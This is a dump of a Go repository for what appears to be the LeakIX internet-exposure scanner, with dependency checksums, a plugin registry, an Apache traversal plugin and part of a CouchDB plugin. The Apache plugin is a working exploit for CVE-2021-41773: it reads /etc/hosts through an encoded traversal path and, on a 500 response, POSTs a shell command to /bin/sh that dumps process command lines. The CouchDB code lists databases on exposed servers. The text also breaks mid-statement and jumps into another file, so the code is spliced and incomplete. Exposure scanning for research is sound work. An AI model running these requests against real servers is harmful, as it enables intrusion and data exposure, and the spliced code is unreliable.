v0.0.0-20201227073835-cf1acfcdf475/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4= 165 | github.com/rogpeppe/go-internal v1.1.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= 166 | github.com/rogpeppe/go-internal v1.2.2/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= 167 | github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= 168 | github.com/sirupsen/logrus v1.4.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= 169 | github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q= 170 | github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= 171 | github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d h1:zE9ykElWQ6/NYmHa3jpm/yHnI4xSofP+UP6SpjHcSeM= 172 | github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= 173 | github.com/smartystreets/goconvey v1.6.4 h1:fv0U8FUIMPNf1L9lnHLvLhgicrIVChEkdzIKYqbNC9s= 174 | github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= 175 | github.com/spf13/cobra v0.0.3/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ= 176 | github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= 177 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 178 | github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 179 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= 180 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 181 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= 182 | github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 183 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 184 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 185 | github.com/tidwall/pretty v1.0.0 h1:HsD+QiTn7sK6flMKIvNmpqz1qrpP3Ps6jOKIKMooyg4= 186 | github.com/tidwall/pretty v1.0.0/go.mod h1:XNkn88O1ChpSDQmQeStsy+sBenx6DDtFZJxhVysOjyk= 187 | github.com/xdg-go/pbkdf2 v1.0.0 h1:Su7DPu48wXMwC3bs7MCNG+z4FhcyEuz5dlvchbq0B0c= 188 | github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI= 189 | github.com/xdg-go/scram v1.0.2 h1:akYIkZ28e6A96dkWNJQu3nmCzH3YfwMPQExUYDaRv7w= 190 | github.com/xdg-go/scram v1.0.2/go.mod h1:1WAq6h33pAW+iRreB34OORO2Nf7qel3VV3fjBj+hCSs= 191 | github.com/xdg-go/stringprep v1.0.2 h1:6iq84/ryjjeRmMJwxutI51F2GIPlP5BfTvXHeYjyhBc= 192 | github.com/xdg-go/stringprep v1.0.2/go.mod h1:8F9zXuvzgwmyT5DUm4GUfZGDdT3W+LCvS6+da4O5kxM= 193 | github.com/xdg/scram v1.0.3/go.mod h1:lB8K/P019DLNhemzwFU4jHLhdvlE6uDZjXFejJXr49I= 194 | github.com/xdg/stringprep v1.0.3/go.mod h1:Jhud4/sHMO4oL310DaZAKk9ZaJ08SJfe+sJh0HrGL1Y= 195 | github.com/youmark/pkcs8 v0.0.0-20181117223130-1be2e3e5546d/go.mod h1:rHwXgn7JulP+udvsHwJoVG1YGAP6VLg4y9I5dyZdqmA= 196 | github.com/youmark/pkcs8 v0.0.0-20201027041543-1326539a0a0a h1:fZHgsYlfvtyqToslyjUt3VOPF4J7aK/3MPcK7xp3PDk= 197 | github.com/youmark/pkcs8 v0.0.0-20201027041543-1326539a0a0a/go.mod h1:ul22v+Nro/R083muKhosV54bj5niojjWZvU8xrevuH4= 198 | github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= 199 | go.mongodb.org/mongo-driver v1.5.4 h1:NPIBF/lxEcKNfWwoCJRX8+dMVwecWf9q3qUJkuh75oM= 200 | go.mongodb.org/mongo-driver v1.5.4/go.mod h1:gRXCHX4Jo7J0IJ1oDQyUxF7jfy19UfxniMS4xxMmUqw= 201 | golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= 202 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 203 | golang.org/x/crypto v0.0.0-20190422162423-af44ce270edf/go.mod h1:WFFai1msRO1wXaEeE5yQxYXgSfI8pQAWXbQop6sCtWE= 204 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 205 | golang.org/x/crypto v0.0.0-20200302210943-78000ba7a073/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 206 | golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 207 | golang.org/x/crypto v0.0.0-20201112155050-0c6587e931a9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 208 | golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e h1:gsTQYXdTw2Gq7RBsWvlQ91b+aEQ6bXFUngBGuR8sPpI= 209 | golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 210 | golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= 211 | golang.org/x/net v0.0.0-20180218175443-cbe0f9307d01/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 212 | golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 213 | golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 214 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 215 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 216 | golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 217 | golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 218 | golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= 219 | golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= 220 | golang.org/x/net v0.0.0-20201202161906-c7110b5ffcbb/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= 221 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 222 | golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk= 223 | golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 224 | golang.org/x/net v0.0.0-20210916014120-12bc252f5db8/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 225 | golang.org/x/net v0.0.0-20211208012354-db4efeb81f4b h1:MWaHNqZy3KTpuTMAGvv+Kw+ylsEpmyJZizz1dqxnu28= 226 | golang.org/x/net v0.0.0-20211208012354-db4efeb81f4b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 227 | golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 228 | golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 229 | golang.org/x/sync v0.0.0-20190412183630-56d357773e84/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 230 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 231 | golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 232 | golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 233 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ= 234 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 235 | golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 236 | golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 237 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 238 | golang.org/x/sys v0.0.0-20190403152447-81d4e9dc473e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 239 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 240 | golang.org/x/sys v0.0.0-20190419153524-e8e3143a4f4a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 241 | golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 242 | golang.org/x/sys v0.0.0-20190531175056-4c3a928424d2/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 243 | golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 244 | golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 245 | golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 246 | golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 247 | golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 248 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 249 | golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 250 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 251 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 252 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c h1:F1jZWGFhYfh0Ci55sIpILtKKK8p3i2/krTr0H1rg74I= 253 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 254 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 h1:v+OssWQX+hTHEmOBgwxdZxK4zHq3yOs8F9J7mk0PY8E= 255 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 256 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 257 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 258 | golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 259 | golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M= 260 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 261 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 262 | golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= 263 | golang.org/x/tools v0.0.0-20190329151228-23e29df326fe/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= 264 | golang.org/x/tools v0.0.0-20190416151739-9c9e1878f421/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= 265 | golang.org/x/tools v0.0.0-20190420181800-aa740d480789/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= 266 | golang.org/x/tools v0.0.0-20190531172133-b3315ee88b7d/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= 267 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 268 | golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= 269 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 270 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 271 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 272 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= 273 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 274 | google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= 275 | google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= 276 | google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= 277 | google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= 278 | google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= 279 | google.golang.org/protobuf v1.23.0 h1:4MY060fB1DLGMB/7MBTLnwQUY6+F09GEiz6SsrNqyzM= 280 | google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 281 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 282 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 283 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 284 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 285 | gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= 286 | gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= 287 | gopkg.in/ini.v1 v1.62.0 h1:duBzk771uxoUuOlyRLkHsygud9+5lrlGjdFBb4mSKDU= 288 | gopkg.in/ini.v1 v1.62.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= 289 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= 290 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= 291 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 292 | gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 293 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 294 | gopkg.in/yaml.v2 v2.3.0 h1:clyUAQHOM3G0M3f5vQj7LuJrETvjVot3Z5el9nffUtU= 295 | gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 296 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 297 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo= 298 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 299 | -------------------------------------------------------------------------------- /map.go: -------------------------------------------------------------------------------- 1 | package l9plugins 2 | 3 | import ( 4 | "github.com/LeakIX/l9format" 5 | "github.com/LeakIX/l9plugins/tcp" 6 | "github.com/LeakIX/l9plugins/web" 7 | ) 8 | 9 | var tcpPlugins = []l9format.ServicePluginInterface{ 10 | tcp.Apache2449TraversalPlugin{}, 11 | tcp.CouchDbOpenPlugin{}, 12 | tcp.ElasticSearchExplorePlugin{}, 13 | tcp.ElasticSearchOpenPlugin{}, 14 | tcp.KafkaOpenPlugin{}, 15 | tcp.MongoSchemaPlugin{}, 16 | tcp.MongoOpenPlugin{}, 17 | tcp.MysqlWeakPlugin{}, 18 | tcp.MysqlSchemaPlugin{}, 19 | tcp.RedisOpenPlugin{}, 20 | tcp.SSHOpenPlugin{}, 21 | tcp.DotDsStoreOpenPlugin{}, 22 | } 23 | 24 | var webPlugins = []l9format.WebPluginInterface{ 25 | web.ApacheStatusHttpPlugin{}, 26 | web.ConfigJsonHttp{}, 27 | web.DotEnvHttpPlugin{}, 28 | web.GitConfigHttpPlugin{}, 29 | web.IdxConfigPlugin{}, 30 | web.LaravelTelescopeHttpPlugin{}, 31 | web.PhpInfoHttpPlugin{}, 32 | web.FirebaseHttpPlugin{}, 33 | web.WpUserEnumHttp{}, 34 | web.ConfluenceVersionIssue{}, 35 | web.JiraPlugin{}, 36 | } 37 | 38 | func GetTcpPlugins() []l9format.ServicePluginInterface { 39 | return tcpPlugins 40 | } 41 | 42 | func GetWebPlugins() []l9format.WebPluginInterface { 43 | return webPlugins 44 | } 45 | -------------------------------------------------------------------------------- /tcp/apache_traversal.go: -------------------------------------------------------------------------------- 1 | package tcp 2 | /* 3 | * Thanks to https://twitter.com/HaboubiAnis for pointers on this plugin. 4 | */ 5 | import ( 6 | "bytes" 7 | "context" 8 | "github.com/LeakIX/l9format" 9 | "io" 10 | "io/ioutil" 11 | "net/http" 12 | "strings" 13 | ) 14 | 15 | type Apache2449TraversalPlugin struct { 16 | l9format.ServicePluginBase 17 | } 18 | 19 | func (Apache2449TraversalPlugin) GetVersion() (int, int, int) { 20 | return 0, 2, 2 21 | } 22 | 23 | func (Apache2449TraversalPlugin) GetProtocols() []string { 24 | return []string{"http", "https"} 25 | } 26 | 27 | func (Apache2449TraversalPlugin) GetName() string { 28 | return "Apache2449TraversalPlugin" 29 | } 30 | 31 | func (Apache2449TraversalPlugin) GetStage() string { 32 | return "open" 33 | } 34 | 35 | // Get info 36 | func (plugin Apache2449TraversalPlugin) Run(ctx context.Context, event *l9format.L9Event, pluginOptions map[string]string) bool { 37 | event.Http.Url = "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts" 38 | req, err := http.NewRequest("GET", event.Url(), nil) 39 | if err != nil { 40 | return false 41 | } 42 | req.Header["User-Agent"] = []string{"Lkx-Apache2449TraversalPlugin/0.0.1 (+https://leakix.net/, +https://twitter.com/HaboubiAnis)"} 43 | resp, err := plugin.GetHttpClient(ctx, event.Ip, event.Port).Do(req) 44 | if err != nil { 45 | return false 46 | } 47 | defer resp.Body.Close() 48 | if resp.StatusCode == 500 { 49 | return plugin.RunRce(ctx, event) 50 | } 51 | if resp.StatusCode != 200 { 52 | return false 53 | } 54 | body, err := ioutil.ReadAll(io.LimitReader(resp.Body, 1024*1024)) 55 | if err != nil { 56 | return false 57 | } 58 | lowerBody := strings.ToLower(string(body)) 59 | if len(lowerBody) < 10 { 60 | return false 61 | } 62 | if strings.Contains(lowerBody, "html") { 63 | return false 64 | } 65 | if !strings.Contains(lowerBody, "localhost") && !strings.Contains(lowerBody, "127.0.0.1") { 66 | return false 67 | } 68 | event.Leak.Severity = "critical" 69 | event.Leak.Type = "lfi" 70 | event.AddTag("cve-2021-41773") 71 | event.Summary = "Found host file trough Apache traversal:\n" + lowerBody 72 | return true 73 | } 74 | 75 | func (plugin Apache2449TraversalPlugin) RunRce(ctx context.Context, event *l9format.L9Event) bool { 76 | event.Http.Url = "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" 77 | payload := bytes.NewBufferString("echo;for file in /proc/*/cmdline; do echo; cat $file; done") 78 | req, err := http.NewRequest("POST", event.Url(), payload) 79 | if err != nil { 80 | return false 81 | } 82 | req.Header["User-Agent"] = []string{"Lkx-Apache2449TraversalPlugin/0.0.1 (+https://leakix.net/, +https://twitter.com/HaboubiAnis)"} 83 | resp, err := plugin.GetHttpClient(ctx, event.Ip, event.Port).Do(req) 84 | if err != nil { 85 | return false 86 | } 87 | defer resp.Body.Close() 88 | if resp.StatusCode != 200 { 89 | return false 90 | } 91 | body, err := ioutil.ReadAll(io.LimitReader(resp.Body, 1024*1024)) 92 | if err != nil { 93 | return false 94 | } 95 | lowerBody := strings.ToLower(string(body)) 96 | if len(lowerBody) < 10 { 97 | return false 98 | } 99 | if strings.Contains(lowerBody, " 0 { 61 | return plugin.GetInfos(ctx, event, dbList) 62 | } 63 | } 64 | return false 65 | } 66 | 67 | // Iterate over the database list to get more informations 68 | func (plugin CouchDbOpenPlugin) GetInfos(ctx context.Context, event *l9format.L9Event, dbList []string) (hasLeak bool) { 69 | isOpen := plugin.TestOpen(ctx, event) 70 | if isOpen { 71 | event.Summary += "Weak auth\n" 72 | event.Leak.Severity = l9format.SEVERITY_MEDIUM 73 | } else { 74 | event.Summary += "Schema only\n" 75 | event.Leak.Severity = l9format.SEVERITY_LOW 76 | } 77 | for _, dbNames := range plugin.chunkBy(dbList, 50) { 78 | for _, dbInfo := range plugin.GetDatabaseInfo(ctx, event, dbNames) { 79 | if isOpen { 80 | event.Leak.Dataset.Collections++ 81 | event.Leak.Dataset.Rows += dbInfo.Info.DocCount 82 | event.Leak.Dataset.Size += dbInfo.Info.DiskSize 83 | } 84 | event.Summary += fmt.Sprintf("Found table %s with %d documents (%s)\n", dbInfo.Info.Name, dbInfo.Info.DocCount, utils.HumanByteCount(dbInfo.Info.DiskSize)) 85 | if (strings.HasPrefix(dbInfo.Info.Name, "read") && strings.HasSuffix(dbInfo.Info.Name, "me")) || strings.Contains(dbInfo.Info.Name, "wegeturdb") || strings.Contains(dbInfo.Info.Name, "meow") { 86 | event.Leak.Dataset.Infected = true 87 | } 88 | } 89 | } 90 | if event.Leak.Dataset.Rows > 1000 { 91 | event.Leak.Severity = l9format.SEVERITY_HIGH 92 | if event.Leak.Dataset.Infected { 93 | event.Leak.Severity = l9format.SEVERITY_CRITICAL 94 | } 95 | } 96 | if event.Leak.Dataset.Rows > 100000 { 97 | event.Leak.Severity = l9format.SEVERITY_CRITICAL 98 | } 99 | event.Summary = fmt.Sprintf("Databases: %d, document count: %d, size: %s\n", 100 | event.Leak.Dataset.Collections, event.Leak.Dataset.Rows, utils.HumanByteCount(event.Leak.Dataset.Size)) + 101 | event.Summary 102 | return true 103 | } 104 | 105 | // Check if data accessible or if only the schema is exposed 106 | func (plugin CouchDbOpenPlugin) TestOpen(ctx context.Context, event *l9format.L9Event) bool { 107 | req, err := http.NewRequest("GET", fmt.Sprintf("%s/_membership", plugin.GetAddress(event)), nil) 108 | req.Header["User-Agent"] = []string{"TBI-CouchDbOpenPlugin/0.1.0 (+https://leakix.net/)"} 109 | req.Header["Content-Type"] = []string{"application/json"} 110 | if err != nil { 111 | log.Println("can't create request:", err) 112 | return false 113 | } 114 | resp, err := plugin.GetHttpClient(ctx, event.Ip, event.Port).Do(req) 115 | if err != nil { 116 | log.Println("can't GET page:", err) 117 | return false 118 | } 119 | resp.Body.Close() 120 | if resp.StatusCode == 200 { 121 | return true 122 | } 123 | return false 124 | } 125 | 126 | // Get database information from a list of names 127 | func (plugin CouchDbOpenPlugin) GetDatabaseInfo(ctx context.Context, event *l9format.L9Event, dbNames []string) (dbInfo []DatabaseInfo) { 128 | reqBody, _ := json.Marshal(struct { 129 | Keys []string `json:"keys"` 130 | }{ 131 | Keys: dbNames, 132 | }) 133 | req, _ := http.NewRequest("POST", fmt.Sprintf("%s/_dbs_info", plugin.GetAddress(event)), bytes.NewReader(reqBody)) 134 | req.Header["User-Agent"] = []string{"TBI-CouchDbOpenPlugin/0.1.0 (+https://leaks.nobody.run/)"} 135 | req.Header["Content-Type"] = []string{"application/json"} 136 | resp, err := plugin.GetHttpClient(ctx, event.Ip, event.Port).Do(req) 137 | if err != nil { 138 | log.Println("can't GET page:", err) 139 | return nil 140 | } 